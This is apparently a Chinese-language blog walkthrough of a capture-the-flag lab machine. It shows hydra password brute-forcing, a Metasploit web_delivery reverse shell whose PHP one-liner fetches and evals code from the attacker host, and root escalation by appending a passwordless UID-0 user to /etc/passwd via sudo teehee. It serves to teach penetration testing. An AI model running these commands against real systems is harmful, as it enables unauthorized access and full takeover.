前言
这套靶场的亮点在于对hydra的运用比较多,在遇到大容量字典的时候,BurpSuite可能会因为设置的运行内存的限制,导致字典需要花很长时间导入进去,虽然通过修改配置文件可以解决这点,但是总没有Hydra爆破工具来的更加友好。
通过本篇博客着重学习以下三点:
1.Hydra爆破
2.MSF PHP木马加载
3./etc/passwd写入root用户
正文
信息搜集
传统艺能: arp-scan -l,发现存活IP:
使用Nmap进行端口探测,发现存活80端口和22端口
账户爆破
进入Web页面后发现如下界面
这边呢看到登录表单,又是admin,尝试使用Burp,账户名是admin进行爆破,但是因为字典太大的缘故。字典一直导入不进去,所以尝试使用Xhydra进行爆破。这边因为是post表单所以选择http-post-form,字典选用kali自带的rockyou字典
命令如下:
hydra -l admin -P rock.txt 192.168.40.130 "/login.php:username=^USER^&&password=^PASS^:S=lougout" -F
爆破出账户为admin,密码为happy
后台Getshell
这边有三个命令选型,进行抓包,查看数据包:
看一看存在命令执行漏洞,尝试读取敏感文件/etc/passwd,可以看到存在两个用户,分别为Jim和Sam
这边因为目标靶机是Linux,并且肯定跑着PHP,所以想着使用生成木马getshell,打开msfconsole,使用以下模块
msf6>use exploit/multi/script/web_delivery
msf6>set lhost 192.168.40.128
msf6>set lport 4444
msf6>set payload php/meterpreter/reverse_tcp
生成如下命令,讲radio栏中的命令进行替换,成功获得会话
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.40.128:8081/VCrYQNz9f9yp', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
进入会话使用python获得伪终端:
进入后在家目录下发现三个用户,并且在jim用户下找到旧密码的备份文件,保存到本地,使用hydra进行ssh爆破
使用ssh成功登录,过了一会儿收到一封邮件,提示/var/mail下的jim文件,最后得到charles的密码,进行用户切换。
权限提升
使用sudo -l 看到teehee可以免密码执行root权限。并且teehee可以讲字段附加到文本末。
这里需要先了解下/etc/passwd里不同字段的含义。
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
所以我们尝试写入具有root权限的用户到/etc/passwd来进行提权
echo "ha::0:0::/home/jim:/bin/bash" |sudo teehee -a "/etc/passwd"
期间多次su无法进入Root,最终重启虚拟机成功root.
最终拿到Flag